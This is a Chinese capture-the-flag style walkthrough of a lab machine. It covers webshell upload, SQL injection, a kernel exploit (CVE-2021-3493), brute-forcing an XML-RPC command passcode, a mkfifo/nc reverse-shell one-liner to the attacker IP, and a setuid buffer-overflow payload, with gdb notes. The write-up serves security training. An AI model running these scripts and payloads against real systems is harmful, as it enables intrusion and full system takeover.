环境搭建 1 2 渗透机:192.168.50.216 靶机:192.168.50.43
端口探针
服务探针 1 nmap -p22,80,8000 -sV 192.168.50.43
可知 80端口是一个Apache的一个Web页面;
8000端口是一个python开的一个Web服务
通过对80 8000 端口的分别访问 80是一个登陆界面 8000 501报错
根据报错:请求方式错误
可以尝试抓包改请求方式,看服务端支持哪种请求方式
1 2 通过尝试常见的请求方法 探针可用的方法(这里没有探针出来,但是提供思路点) OPTIONS GET POST PUT DELETE
很显然8000端口目前没有可利用点
继续回到80端口
可知需要Email和Password 才可登陆
1 2 3 尝试万能密码去尝试之后 发现 登陆不进去 发现还是要知道邮箱然后进行登陆 目前所获得的信息 显然达不到爆破进入管理员后台 Login页面旁的Sign Up 注册用户 是可以利用的一个点创建一个用户
发现可以任意用户创建登陆后台
可以知道存在 admin 用户
根据admin用户发布的文章可推测服务器存在一个python的脚本文件
可能存在利用点
文件上传
看了各种admin用户文章并没得到admin的邮箱
通过尝试各种功能点,发现一个文件上传功能点
成功上传且抓包过程中就能知道 文件上传所在位置
(或者在头像处也可复制SHELL地址访问)
然后用蚁剑连接尝试
连接成功
通过文件上传即可拿到低权限shell
SQL注入
只是能够得到admin邮箱从而登陆admin账号
通过后台拿shell的权限是一样的
通过SQL注入可以注入出admin的邮箱及密码
提权 提权一:内核提权 https://github.com/briskets/CVE-2021-3493
CVE-2021-3493
通过返回来的命令 看起来已经成功了
可能已经提权成功了(可能:蚁剑SHELL不全所造成退出)
1 2 3 反弹shell nc版本不支持-e参数 可尝试串联shell 或者 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.216 6666 >/tmp/f
提权二:缓冲区溢出提权 XMLRPC模块 xmlrpc — XMLRPC 服务端与客户端模块 — Python 3.12.2 文档
XML-RPC 是一种远程过程调用方法,它使用通过 HTTP 传递的 XML 作为载体。 有了它,客户端可以在远程服务器上调用带参数的方法(服务器以 URI 命名)并获取结构化的数据。
查看可登陆的用户,去到它的家目录
发现存在 monitor.py 这对应了管理员发的文章,查看进程看脚本是否运行
可知 该程序是正在运行的 由于是python 又可以直接进入socnet目录查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import SimpleXMLRPCServerimport subprocessimport randomdebugging_pass = random.randint(1000 ,9999 ) def runcmd (cmd ): results = subprocess.Popen(cmd, shell=True , stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return output def cpu (): return runcmd("cat /proc/cpuinfo" ) def mem (): return runcmd("free -m" ) def disk (): return runcmd("df -h" ) def net (): return runcmd("ip a" ) def secure_cmd (cmd,passcode ): if passcode==debugging_pass: return runcmd(cmd) else : return "Wrong passcode." server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0" , 8000 )) server.register_function(cpu) server.register_function(mem) server.register_function(disk) server.register_function(net) server.register_function(secure_cmd) server.serve_forever()
根据服务器代码写出发送请求代码
1 2 3 4 import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.50.43:8000/" ) as proxy: print (str (proxy.net()))
1 2 3 4 5 6 7 def secure_cmd (cmd,passcode ): if passcode==debugging_pass: return runcmd(cmd) else : return "Wrong passcode." 该方法 可以自定义代码进行RCE 前提是 要知道 passcode
由于 passcode==debugging_pass;
而debugging_pass = random.randint(1000,9999)
故可以尝试 暴力破解 passcode
1 2 3 4 5 6 7 8 9 import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.50.43:8000/" ) as proxy: for i in range (1000 ,9999 ): r = str (proxy.secure_cmd('whoami' ,i)) if "Wrong" not in r: print (i) print (r) break
1 成功爆破出passcode 9935 也成功执行了whoami命令
反弹shell得到socnet权限 1 2 3 4 5 import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.50.43:8000/" ) as proxy: cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.216 6666 >/tmp/f" print (str (proxy.secure_cmd(cmd,9935 )))
调试程序
add_record是个32位Linux可执行程序且具有特殊权限
首先执行 查看是否含有提交数据入口点
发现含有几个位置用户可以提交数据
1 2 3 4 gdb -q ./add_record # 静态调试程序 gdb -q #程序静态执行 r #执行 q #退出
查找存在内存溢出的变量位置(输入大量数据)
程序正常退出,说明不存在
在最后一个变量 描述中存在溢出
1 2 3 4 重点关注:EIP: 0x41414141 ('AAAA') 确定('AAAA')属于哪个位置 一开始判断 选择使用500个去写入 判断出溢出点后 可以先减少字符后 再进行寻找溢出位置 后面减少到100 仍可以 判断出溢出
1 2 3 使用 pattern 生成特殊字符 pattern create 100 pattern search #识别位置
使用 pattern search 即可帮助我们识别出来
验证
填入数据验证得
1 2 disas main #显示程序 汇编代码 程序执行 CPU分配下发地址
1 2 call 调用系统函数 打开文本文件命令 通过之前找用户提交数据位置点的时候 程序会生成一个txt
1 2 3 4 5 break *地址 #下断点 s #单步执行 c #继续执行 del number #删断点 info func #查看函数信息
1 disas 方法名 #查看具体函数所执行的汇编指令
1 2 <setuid@plt> <system@plt>
注:
1 2 3 4 5 6 7 8 9 程序执行: 打开文本文件 用户提交用户名 用户提交工作年限 用户提交薪资 用户提交是否遇到麻烦 遇到过为1 没有为0 用户描述遇到的问题 (工作年限和工资都为int类型)(溢出存在于用户描述问题这个变量0) 一定要选遇到过 输入1 输入0则直接退出程序
payload:
1 python -c "import struct;print('aa\n1\n1\n1\n' +'A'* 62 + struct.pack('I',0x08048676))" > payload
将 payload 输入进程序 查看
1 2 发现 程序 新建了两个进程 /bin/bash 跟进一下 查看程序发生了什么
1 2 cat payload - | ./add_record 查看payload 将payload 全部输入给 add_record 这个程序即可提权
gdb命令总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 gdb -q ./程序名 #静态调试程序 gdb -q #程序静态执行 r #执行 q #退出 pattern create 100 #生成100位特殊字符 pattern search #定位字符 break *地址 #下断点 s #单步执行 c #继续执行 del number #删断点 info func #查看函数信息 disas main #显示程序全部汇编代码 disas 方法名 #查看具体函数所执行的汇编指令